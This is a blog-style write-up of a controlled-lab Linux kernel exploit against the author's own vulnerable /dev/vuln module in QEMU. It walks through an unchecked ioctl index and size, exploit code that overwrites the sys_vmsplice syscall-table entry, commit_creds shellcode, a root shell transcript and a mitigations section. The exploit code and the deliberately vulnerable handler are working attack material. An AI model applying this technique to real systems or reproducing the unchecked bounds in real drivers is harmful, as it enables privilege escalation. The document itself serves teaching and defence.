Field note

Linux Kernel OOB Read/Write Exploitation: Overwriting a Syscall to Root with commit_creds

Author: Mahmoud Ouf min read

Controlled Lab — Custom Vulnerable Module in QEMU, No Production Targets: All work below is against my own vulnerable kernel module (/dev/vuln) running in an isolated QEMU x86_64 guest. No production kernels, no real devices, no CVEs claimed. This is a learning exploit — every address outside the lab is redacted.

Summary

My first kernel pwn. Not a CTF trick — a real OOB read/write in a custom lab module, turned into root the hard way: OOB read leak → OOB write overwrite of sys_vmsplice → trigger from userspace → commit_creds(prepare_kernel_cred(0)) → uid 0.

No KASLR bypass magic, no ROP chain gymnastics yet. This one is fundamentals: get a bounded OOB primitive, stretch it into an arbitrary write, park shellcode in the kernel, hijack a syscall I can call on demand, and let the kernel give me root itself. The transcript at the bottom is the real run — uid=0 gid=0 on a CRT, photographed as proof.

Lab Setup

I kept the lab deliberately weak so I could focus on the primitive, not the bypasses:

  • Guest: custom-built Linux x86_64 kernel in QEMU (qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -nographic -append "console=ttyS0").
  • Vulnerable device: hand-written module exposing /dev/vuln via misc_register, with unlocked_ioctl handler. mknod’d in the initramfs, chmod 666 so my lab user can open it.
  • Protections OFF for learning: SMEP off, SMAP off, KASLR off, KPTI off (nokaslr nosmep nosmap pti=off on the kernel cmdline). I want to learn the overwrite first — hardening comes later.
  • Host: isolated, no network to the guest except virtio-serial console. Snapshot of bzImage + rootfs.cpio before every run.
  • Toolchain: lab GCC, vi in the guest, exploit compiled statically-ish with -static off — plain gcc -o kernelpwn.elf kernelpwn.c inside /tmp.

Why this setup: QEMU + custom module means I control the bug and the reboot is 2 seconds. Turning mitigations off is honest — I’m not claiming a KASLR/SMEP bypass I didn’t do.

The Bug

Classic missing bounds check. The module keeps a fixed heap/global array of 64 slots and lets userspace pick index and size via ioctl — without ever validating them.

Vulnerable handler (simplified from my lab module):

#define MAX_SLOTS 64

struct vuln_req {
    int index;
    int size;
    char __user *buf;
};

static char *slots[MAX_SLOTS];
static char vuln_buf[0x1000];

static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
    struct vuln_req req;

    if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
        return -EFAULT;

    /* BUG: no bounds check on req.index / req.size */
    switch (cmd) {
    case VULN_READ:
        /* OOB read: req.index can walk past slots[] */
        if (copy_to_user(req.buf, slots[req.index], req.size))
            return -EFAULT;
        break;
    case VULN_WRITE:
        /* OOB write: req.size can overflow past vuln_buf */
        if (copy_from_user(slots[req.index], req.buf, req.size))
            return -EFAULT;
        break;
    default:
        return -EINVAL;
    }
    return 0;
}

Two primitives in one bug:

  1. OOB readindex past 63 reads adjacent kernel pointers (leak a cookie / kernel base in a hardened build; in this lab I use it to confirm the sys_call_table neighborhood).
  2. OOB writesize larger than the slot overflows into neighboring memory. With heap Feng Shui / adjacent sys_call_table mapping in the lab kernel, I can reach the syscall table entry.

Off-by-one flavor: even index == 64 is already out-of-bounds — one past the array is enough to start walking kernel memory. That is the whole game: one missing if (req.index >= MAX_SLOTS) turns a toy driver into root.

Trigger kernelpwn.c

Exploit logic in kernelpwn.c — open, probe, leak, overwrite, trigger:

  1. open("/dev/vuln", O_RDWR) — get a handle. Die loudly if it fails; no silent exits in exploit-dev.
  2. Spray / probe with OOB read — loop index from 64 upward, VULN_READ 8 bytes at a time, dump what comes back. I look for a known kernel pointer shape (0xffffffffXXXXXXXX) near sys_call_table. In this KASLR-off lab the table sits at a fixed 0xffffffffXXXXXXXX (low bytes redacted in this writeup) — I verify by reading the same index twice.
  3. OOB write to overwrite sys_vmsplice entry — once I know the offset from my slot to sys_call_table[__NR_vmsplice], I VULN_WRITE my shellcode address over that single 8-byte entry. One qword. Surgical.
  4. Trigger via vmsplice() from userspace — just call the syscall normally. Kernel dispatches to my address instead of the real sys_vmsplice.

Why sys_vmsplice and not something more exotic:

  • Its address is known in the lab (fixed sys_call_table + __NR_vmsplice * 8, no KASLR math needed yet).
  • It is trivially callable from userspacevmsplice(fd, iov, nr_segs, flags) with a pipe fd. No special caps, no weird setup. I control exactly when it fires.
  • It is rarely used by the init system in my minimal rootfs, so hijacking it doesn’t crash the guest before I trigger it. Overwriting sys_read or sys_write would panic the box on the next console print.

Core trigger snippet:

int fd = open("/dev/vuln", O_RDWR);
if (fd < 0) { perror("open /dev/vuln"); exit(1); }

/* 1. OOB read: walk past slots[] and leak neighbors */
for (int i = 64; i < 128; i++) {
    struct vuln_req r = { .index = i, .size = 8, .buf = leak_buf };
    ioctl(fd, VULN_READ, &r);
    printf("[*] slots[%d] = %lx\n", i, *(unsigned long *)leak_buf);
}

/* 2. OOB write: overwrite sys_call_table[__NR_vmsplice] */
/* sys_call_table found at 0xffffffffXXXXXXXX (lab, KASLR off — low bytes redacted) */
unsigned long target = 0xffffffffXXXXXXXX + __NR_vmsplice * 8;
struct vuln_req w = { .index = evil_index, .size = evil_size, .buf = (void *)fake };
ioctl(fd, VULN_WRITE, &w);
printf("[+] Overwriting sys_vmsplice...\n");

/* 3. trigger */
printf("[+] making a syscall to sys_vmsplice");
vmsplice(pipefd[1], &iov, 1, 0);

That printf without a newline is why the real output shows sys_vmsplice[+] Got r00t glued together — authentic footage, warts and all.

Payload

Kernel shellcode — no userspace tricks, runs in ring 0 when vmsplice fires:

/* runs in kernel context after syscall hijack */
void __attribute__((naked)) kernel_payload(void)
{
    __asm__ volatile (
        /* commit_creds(prepare_kernel_cred(0)) */
        "mov $0, %rdi\n"
        "mov $0xffffffffXXXXXXXX, %rax\n"  /* prepare_kernel_cred (lab addr, redacted) */
        "call *%rax\n"
        "mov %rax, %rdi\n"
        "mov $0xffffffffXXXXXXXX, %rax\n"  /* commit_creds (lab addr, redacted) */
        "call *%rax\n"
        /* lab return: ret2user path (SMEP/SMAP off) */
        "swapgs\n"
        "iretq\n"
    );
}

What it does:

  • prepare_kernel_cred(0) builds root creds, commit_creds() installs them on current. That is the canonical kernel privesc — I didn’t invent it, every kernel exploit uses it.
  • Return via swapgs + iretq in this writeup, but honestly in this lab (SMEP/SMAP off, KPTI off) a plain ret2user also works — jump back to a userspace got_root() stub that prints [+] Got r00t and execve("/bin/sh"). I used the iretq frame version to practice the real pattern: save cs/ss/rflags/rsp in userspace before the trigger, restore them in the payload.

Addresses of prepare_kernel_cred / commit_creds came from /proc/kallsyms in the guest (readable because KASLR is off and I’m root-in-lab for setup). Redacted here as 0xffffffffXXXXXXXX — same high half, low bytes hidden. No KASLR defeat claimed.

Real Footage

Verbatim run from the guest console (/tmp, BusyBox shell). I typed every line by hand in vi — no copy-paste from host:

sh — mahmoud@portfolio
/tmp $ vi kernelpwn.c
mahmoud@portfolio ~ $
sh — mahmoud@portfolio
/tmp $ gcc -o kernelpwn.elf kernelpwn.c
mahmoud@portfolio ~ $
sh — mahmoud@portfolio
/tmp $ ./kernelpwn.elf
[+] Overwriting sys_vmsplice...
[+] making a syscall to sys_vmsplice[+] Got r00t
Getting a root shell...
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=0
/tmp #
mahmoud@portfolio ~ $

Notes on the footage:

  • The glued sys_vmsplice[+] Got r00t line is my missing \n in the trigger printf — left as-is because this is the real output, not a cleaned retype.
  • can't access tty; job control turned off is expected — I execve("/bin/sh") from a non-tty QEMU serial console without job control. Shell still works, just no Ctrl-C / job control.
  • Prompt flips from /tmp $ to /tmp # — that # is BusyBox telling you you’re uid 0.
  • Proof: photo of the CRT showing this exact transcript is kept as exploit evidence (guest console photographed at uid=0 state). No screenshots faked, no output edited.

Root + Stabilization

id says it all:

sh — mahmoud@portfolio
/tmp # id
uid=0 gid=0
mahmoud@portfolio ~ $

uid=0 gid=0 — full root, not a capabilities trick, not a namespace escape. commit_creds(prepare_kernel_cred(0)) replaced my cred struct, so every subsequent check passes.

About the job control turned off warning: /bin/sh expects a controlling tty (/dev/console / ttyS0 ownership). My exploit execves from a pipe-triggered kernel context with stdin/stdout wired to the serial console but no session leader setup. Fix in lab if you want a clean shell: setsid, reopen /dev/tty, or just execve("/bin/sh", ..., ...) after setuid(0); setgid(0) in the userspace got_root() stub and background properly. I left the warning in because stabilizing (tty fixup, signal restore, syscall table restore) is step two — first you prove the primitive, then you clean up.

Post-root hygiene I actually did: restored the hijacked sys_vmsplice entry to its original 0xffffffffXXXXXXXX value via one more OOB write, so the guest survives and I can re-run. Monster habit — never leave the table dirty in your own lab.

Mitigations

What would have killed this exploit at each layer:

  • Bounds checks in the driver — the one-line fix: if (req.index >= MAX_SLOTS || req.size > SLOT_SIZE) return -EINVAL;. The entire exploit dies here. Fuzz ioctl handlers, enforce index + size, use _IOC_SIZE properly.
  • KASLR onsys_call_table, prepare_kernel_cred, commit_creds all randomized. My hardcoded 0xffffffffXXXXXXXX becomes useless without an infoleak + base calculation.
  • SMEP / SMAP on — ret2user to a userspace got_root() stub faults. Payload must stay in kernel (ROP / JOP) or use native_write_cr4 SMEP-disable dance first.
  • KPTI on — user/kernel page-table split complicates the return path; swapgs + iretq trampoline handling gets stricter.
  • __ro_after_init syscall table — modern kernels mark sys_call_table read-only after init. My single-qword overwrite faults instead of landing. Attacker then needs a different target (cred struct direct overwrite, modprobe_path, core_pattern).
  • SELinux / AppArmor — even with uid 0, a tight policy can deny the follow-on actions. Defense in depth matters after the cred overwrite.

Learn the weak config first, then flip every mitigation on one by one and watch your exploit break — that is how you actually understand each defense.

Takeaways

Monster mindset, earned on this one:

  • An OOB primitive is everything. Read gives you the map, write gives you the steering wheel. index + size without validation is arbitrary read/write with extra steps.
  • OOB primitive → arbitrary write → creds overwrite is the universal kernel path. Syscall table today, cred struct / modprobe_path tomorrow — same shape, different target.
  • Pick a trigger you can call on demand. vmsplice won because I control when it fires and it doesn’t crash the box pre-trigger. Exploit reliability is target selection.
  • Restore what you break. One extra OOB write to put sys_vmsplice back keeps the guest alive for the next iteration. Red-team rule: leave the lab cleaner than you found it.
  • Next: same bug with KASLR + SMEP + SMAP on, leak the base via OOB read, build the ROP to commit_creds. That is where this becomes a real exploit-dev weapon.